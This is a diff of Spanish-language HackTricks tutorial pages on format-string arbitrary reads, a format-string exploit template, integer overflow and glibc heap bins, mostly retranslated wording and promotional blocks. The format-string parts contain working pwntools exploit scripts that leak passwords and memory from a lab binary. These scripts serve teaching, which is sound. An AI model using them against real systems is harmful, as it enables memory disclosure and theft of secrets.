- **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Ejemplo de Lectura Arbitraria - Formato de Cadenas
|
||||
# Ejemplo de Lectura Arbitraria - Cadenas de Formato
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Inicio de Lectura Binaria
|
||||
|
||||
|
@ -45,9 +46,9 @@ payload += p64(0x00400000)
|
|||
p.sendline(payload)
|
||||
log.info(p.clean())
|
||||
```
|
||||
* El **desplazamiento es 11** porque al establecer varias As y **probar a la fuerza bruta** con un bucle de desplazamientos de 0 a 50, se descubrió que en el desplazamiento 11 y con 5 caracteres adicionales (tubos `|` en nuestro caso), es posible controlar una dirección completa.
|
||||
* Usé **`%11$p`** con relleno hasta que vi que la dirección era completamente 0x4141414141414141
|
||||
* La **carga útil de la cadena de formato está ANTES de la dirección** porque el **printf deja de leer en un byte nulo**, por lo que si enviamos la dirección y luego la cadena de formato, el printf nunca alcanzará la cadena de formato al encontrar un byte nulo antes.
|
||||
* El **desplazamiento es 11** porque al establecer varias As y **probar a la fuerza bruta** con un bucle, se encontró que en el desplazamiento 11 y con 5 caracteres adicionales (tubos `|` en nuestro caso), es posible controlar una dirección completa.
|
||||
* Usé **`%11$p`** con relleno hasta que la dirección fuera completamente 0x4141414141414141
|
||||
* La **carga útil de la cadena de formato está ANTES de la dirección** porque el **printf deja de leer en un byte nulo**, por lo que si enviamos la dirección y luego la cadena de formato, el printf nunca alcanzará la cadena de formato ya que se encontrará un byte nulo antes.
|
||||
* La dirección seleccionada es 0x00400000 porque es donde comienza el binario (sin PIE)
|
||||
|
||||
<figure><img src="broken-reference" alt="" width="477"><figcaption></figcaption></figure>
|
||||
|
@ -89,7 +90,7 @@ clang -o fs-read fs-read.c -Wno-format-security
|
|||
```
|
||||
### Leer desde la pila
|
||||
|
||||
La variable **`stack_password`** se almacenará en la pila porque es una variable local, por lo que simplemente abusar de printf para mostrar el contenido de la pila es suficiente. Este es un exploit para BF las primeras 100 posiciones para filtrar las contraseñas de la pila:
|
||||
La variable local **`stack_password`** se almacenará en la pila, por lo que simplemente abusar de printf para mostrar el contenido de la pila es suficiente. Este es un exploit para BF las primeras 100 posiciones para filtrar las contraseñas de la pila:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -110,11 +111,11 @@ En la imagen es posible ver que podemos filtrar la contraseña desde la pila en
|
|||
|
||||
### Leer datos
|
||||
|
||||
Ejecutando el mismo exploit pero con `%p` en lugar de `%s` es posible filtrar una dirección de heap desde la pila en `%25$p`. Además, al comparar la dirección filtrada (`0xaaaab7030894`) con la posición de la contraseña en memoria en ese proceso, podemos obtener la diferencia de direcciones:
|
||||
Ejecutando el mismo exploit pero con `%p` en lugar de `%s` es posible filtrar una dirección de heap desde la pila en `%25$p`. Además, comparando la dirección filtrada (`0xaaaab7030894`) con la posición de la contraseña en la memoria en ese proceso, podemos obtener la diferencia de direcciones:
|
||||
|
||||
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Ahora es el momento de encontrar cómo controlar una dirección en la pila para acceder desde la segunda vulnerabilidad de cadena de formato:
|
||||
Ahora es el momento de encontrar cómo controlar una dirección en la pila para acceder a ella desde la segunda vulnerabilidad de cadena de formato:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -141,7 +142,7 @@ output = p.clean()
|
|||
print(output.decode("utf-8"))
|
||||
p.close()
|
||||
```
|
||||
Y es posible ver que en el **intento 14** con el paso utilizado podemos controlar una dirección:
|
||||
Y es posible ver eso en el **intento 14** con el paso utilizado podemos controlar una dirección:
|
||||
|
||||
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -177,16 +178,17 @@ p.close()
|
|||
```
|
||||
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Plantilla de Cadenas de Formato
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```python
|
||||
from pwn import *
|
||||
from time import sleep
|
||||
|
@ -152,16 +153,17 @@ format_string.execute_writes()
|
|||
P.interactive()
|
||||
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Desbordamiento de enteros
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Información Básica
|
||||
|
||||
|
@ -43,29 +44,10 @@ println!("{}", add_result);
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="C" %}
|
||||
|
||||
### Desbordamiento de enteros
|
||||
|
||||
El desbordamiento de enteros ocurre cuando se intenta almacenar un valor en una variable que excede su capacidad máxima. Esto puede conducir a resultados inesperados y potencialmente a vulnerabilidades de seguridad si no se maneja correctamente.
|
||||
|
||||
#### Ejemplo de desbordamiento de enteros en C
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
unsigned short a = 65535;
|
||||
a = a + 1;
|
||||
|
||||
printf("El valor de a es: %hu\n", a);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
En este ejemplo, la variable `a` es un `unsigned short` que tiene una capacidad máxima de 65535. Al intentar sumarle 1, se produce un desbordamiento de enteros y el valor resultante será 0 en lugar de 65536.
|
||||
|
||||
Para evitar desbordamientos de enteros, es importante validar las entradas de datos y realizar comprobaciones adecuadas al realizar operaciones aritméticas.
|
||||
El desbordamiento de enteros ocurre cuando se intenta almacenar un valor en una variable que es demasiado grande para ser representado en el tipo de dato específico. Esto puede llevar a resultados inesperados, como valores negativos inesperados o incluso vulnerabilidades de seguridad si no se maneja adecuadamente. Es importante tener cuidado al realizar operaciones aritméticas con variables que podrían resultar en desbordamientos de enteros.
|
||||
{% endtab %}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <limits.h>
|
||||
|
@ -84,6 +66,9 @@ printf("%d\n", c);
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
## Ejemplos
|
||||
|
||||
### Desbordamiento puro
|
||||
|
@ -99,7 +84,7 @@ printf("Result: %d\n", result); // Expected to overflow
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
### Conversión de Firmado a No Firmado
|
||||
### Conversión de Firmado a No firmado
|
||||
|
||||
Considere una situación en la que se lee un entero firmado desde la entrada del usuario y luego se utiliza en un contexto que lo trata como un entero no firmado, sin una validación adecuada:
|
||||
```c
|
||||
|
@ -141,17 +126,3 @@ En este ejemplo, si un usuario ingresa un número negativo, será interpretado c
|
|||
## ARM64
|
||||
|
||||
Esto **no cambia en ARM64** como se puede ver en [**esta publicación de blog**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# Bins & Asignaciones de Memoria
|
||||
# Bins y Asignaciones de Memoria
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Información Básica
|
||||
|
||||
Para mejorar la eficiencia en cómo se almacenan los fragmentos, cada fragmento no está solo en una lista enlazada, sino que hay varios tipos. Estos son los bins y hay 5 tipos de bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) bins pequeños, 63 bins grandes, 1 bin desordenado, 10 bins rápidos y 64 bins tcache por hilo.
|
||||
|
||||
La dirección inicial de cada bin desordenado, pequeño y grande está dentro del mismo array. El índice 0 no se utiliza, el 1 es el bin desordenado, los bins 2-64 son bins pequeños y los bins 65-127 son bins grandes.
|
||||
La dirección inicial de cada bin desordenado, pequeño y grande está dentro del mismo array. El índice 0 no se usa, el 1 es el bin desordenado, los bins 2-64 son bins pequeños y los bins 65-127 son bins grandes.
|
||||
|
||||
### Bins Tcache (Memoria Caché por Hilo)
|
||||
|
||||
|
@ -26,7 +27,7 @@ Aunque los hilos intentan tener su propio montón (ver [Arenas](bins-and-memory-
|
|||
|
||||
Por lo tanto, un tcache es similar a un bin rápido por hilo en el sentido de que es una **lista enlazada simple** que no fusiona fragmentos. Cada hilo tiene **64 bins tcache enlazados individualmente**. Cada bin puede tener un máximo de [7 fragmentos del mismo tamaño](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) que van desde [24 a 1032B en sistemas de 64 bits y de 12 a 516B en sistemas de 32 bits](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315).
|
||||
|
||||
Cuando un hilo libera un fragmento, si no es demasiado grande para ser asignado en el tcache y el bin tcache respectivo **no está lleno** (ya tiene 7 fragmentos), **se asignará allí**. Si no puede ir al tcache, deberá esperar a que el bloqueo del montón esté disponible para poder realizar la operación de liberación global.
|
||||
Cuando un hilo libera un fragmento, si no es demasiado grande para ser asignado en el tcache y el bin tcache respectivo **no está lleno** (ya tiene 7 fragmentos), **se asignará allí**. Si no puede ir al tcache, deberá esperar a que el bloqueo del montón esté disponible para poder realizar la operación de liberación globalmente.
|
||||
|
||||
Cuando se asigna un **fragmento**, si hay un fragmento libre del tamaño necesario en el **tcache, se utilizará**, de lo contrario, deberá esperar a que el bloqueo del montón esté disponible para encontrar uno en los bins globales o crear uno nuevo.\
|
||||
También hay una optimización, en este caso, mientras tiene el bloqueo del montón, el hilo **llenará su tcache con fragmentos del montón (7) del tamaño solicitado**, por lo que en caso de necesitar más, los encontrará en el tcache.
|
||||
|
@ -208,9 +209,9 @@ typedef struct malloc_chunk *mfastbinptr;
|
|||
|
||||
#define NFASTBINS (fastbin_index (request2size (MAX_FAST_SIZE)) + 1)
|
||||
```
|
||||
<details>
|
||||
<detalles>
|
||||
|
||||
<summary>Agregar un ejemplo de fragmento fastbin</summary>
|
||||
<resumen>Agregar un ejemplo de fragmento fastbin</resumen>
|
||||
```c
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
@ -238,9 +239,9 @@ free(chunks[i]);
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
Observa cómo asignamos y liberamos 8 fragmentos del mismo tamaño para que llenen el tcache y el octavo se almacene en el fast chunk.
|
||||
Observa cómo asignamos y liberamos 8 fragmentos del mismo tamaño para que llenen el tcache y el octavo se almacene en el fragmento rápido.
|
||||
|
||||
Compílalo y depúralo con un punto de interrupción en el opcode `ret` de la función `main`. Luego, con `gef`, puedes ver que el tcache bin está lleno y un fragmento está en el fast bin:
|
||||
Compílalo y depúralo con un punto de interrupción en el opcode `ret` de la función `main`. Luego, con `gef`, puedes ver que el contenedor tcache está lleno y un fragmento está en el contenedor rápido:
|
||||
```bash
|
||||
gef➤ heap bins
|
||||
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
|
||||
|
@ -253,16 +254,16 @@ Fastbins[idx=1, size=0x30] 0x00
|
|||
|
||||
### Bin sin ordenar
|
||||
|
||||
El bin sin ordenar es una **caché** utilizada por el administrador de montón para acelerar la asignación de memoria. Así es como funciona: Cuando un programa libera un fragmento, y si este fragmento no puede ser asignado en una tcache o fast bin y no está colisionando con el fragmento superior, el administrador de montón no lo coloca inmediatamente en un bin específico pequeño o grande. En cambio, primero intenta **fusionarlo con cualquier fragmento libre vecino** para crear un bloque más grande de memoria libre. Luego, coloca este nuevo fragmento en un bin general llamado "bin sin ordenar".
|
||||
El bin sin ordenar es una **caché** utilizada por el administrador de montón para acelerar la asignación de memoria. Así es como funciona: Cuando un programa libera un fragmento, y si este fragmento no puede ser asignado en una tcache o fast bin y no está colisionando con el fragmento superior, el administrador de montón no lo coloca inmediatamente en un bin pequeño o grande específico. En su lugar, primero intenta **fusionarlo con cualquier fragmento libre vecino** para crear un bloque más grande de memoria libre. Luego, coloca este nuevo fragmento en un bin general llamado "bin sin ordenar".
|
||||
|
||||
Cuando un programa **solicita memoria**, el administrador de montón **verifica el bin sin ordenar** para ver si hay un fragmento de tamaño suficiente. Si encuentra uno, lo utiliza de inmediato. Si no encuentra un fragmento adecuado en el bin sin ordenar, mueve todos los fragmentos de esta lista a sus bins correspondientes, ya sea pequeños o grandes, según su tamaño.
|
||||
|
||||
Tenga en cuenta que si un fragmento más grande se divide en 2 mitades y el resto es mayor que MINSIZE, se colocará nuevamente en el bin sin ordenar.
|
||||
Ten en cuenta que si un fragmento más grande se divide en 2 mitades y el resto es mayor que MINSIZE, se colocará nuevamente en el bin sin ordenar.
|
||||
|
||||
Por lo tanto, el bin sin ordenar es una forma de acelerar la asignación de memoria reutilizando rápidamente la memoria liberada recientemente y reduciendo la necesidad de búsquedas y fusiones que consumen tiempo.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Tenga en cuenta que incluso si los fragmentos son de diferentes categorías, si un fragmento disponible está colisionando con otro fragmento disponible (incluso si pertenecen originalmente a diferentes bins), se fusionarán.
|
||||
Ten en cuenta que incluso si los fragmentos son de diferentes categorías, si un fragmento disponible está colisionando con otro fragmento disponible (incluso si pertenecen originalmente a diferentes bins), se fusionarán.
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
@ -295,9 +296,9 @@ free(chunks[i]);
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
Observa cómo asignamos y liberamos 9 fragmentos del mismo tamaño para que **llenen el tcache** y el octavo se almacene en el bin no ordenado porque es **demasiado grande para el fastbin** y el noveno no se libera, por lo que el noveno y el octavo **no se fusionan con el chunk superior**.
|
||||
Observa cómo asignamos y liberamos 9 fragmentos del mismo tamaño para que **llenen la tcache** y el octavo se almacene en el bin no ordenado porque es **demasiado grande para el fastbin** y el noveno no se libera, por lo que el noveno y el octavo **no se fusionan con el chunk superior**.
|
||||
|
||||
Compílalo y depúralo con un punto de interrupción en el opcode `ret` de la función `main`. Luego, con `gef`, puedes ver que el bin tcache está lleno y un fragmento está en el bin no ordenado:
|
||||
Compílalo y depúralo con un punto de interrupción en el opcode `ret` de la función `main`. Luego, con `gef`, puedes ver que el bin de la tcache está lleno y un fragmento está en el bin no ordenado:
|
||||
```bash
|
||||
gef➤ heap bins
|
||||
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
|
||||
|
@ -378,9 +379,9 @@ chunks[9] = malloc(0x110);
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
Observa cómo asignamos y liberamos 9 fragmentos del mismo tamaño para que **llenen la tcache** y el octavo se almacene en el contenedor no ordenado porque es **demasiado grande para el fastbin** y el noveno no se libera, por lo que el noveno y el octavo **no se fusionan con el fragmento superior**. Luego asignamos un fragmento más grande de 0x110, lo que hace que **el fragmento en el contenedor no ordenado pase al contenedor pequeño**.
|
||||
Observa cómo asignamos y liberamos 9 fragmentos del mismo tamaño para que **llenen la tcache** y el octavo se almacene en el bin no ordenado porque es **demasiado grande para el fastbin** y el noveno no se libera, por lo que el noveno y el octavo **no se fusionan con el fragmento superior**. Luego asignamos un fragmento más grande de 0x110, lo que hace que **el fragmento en el bin no ordenado pase al bin pequeño**.
|
||||
|
||||
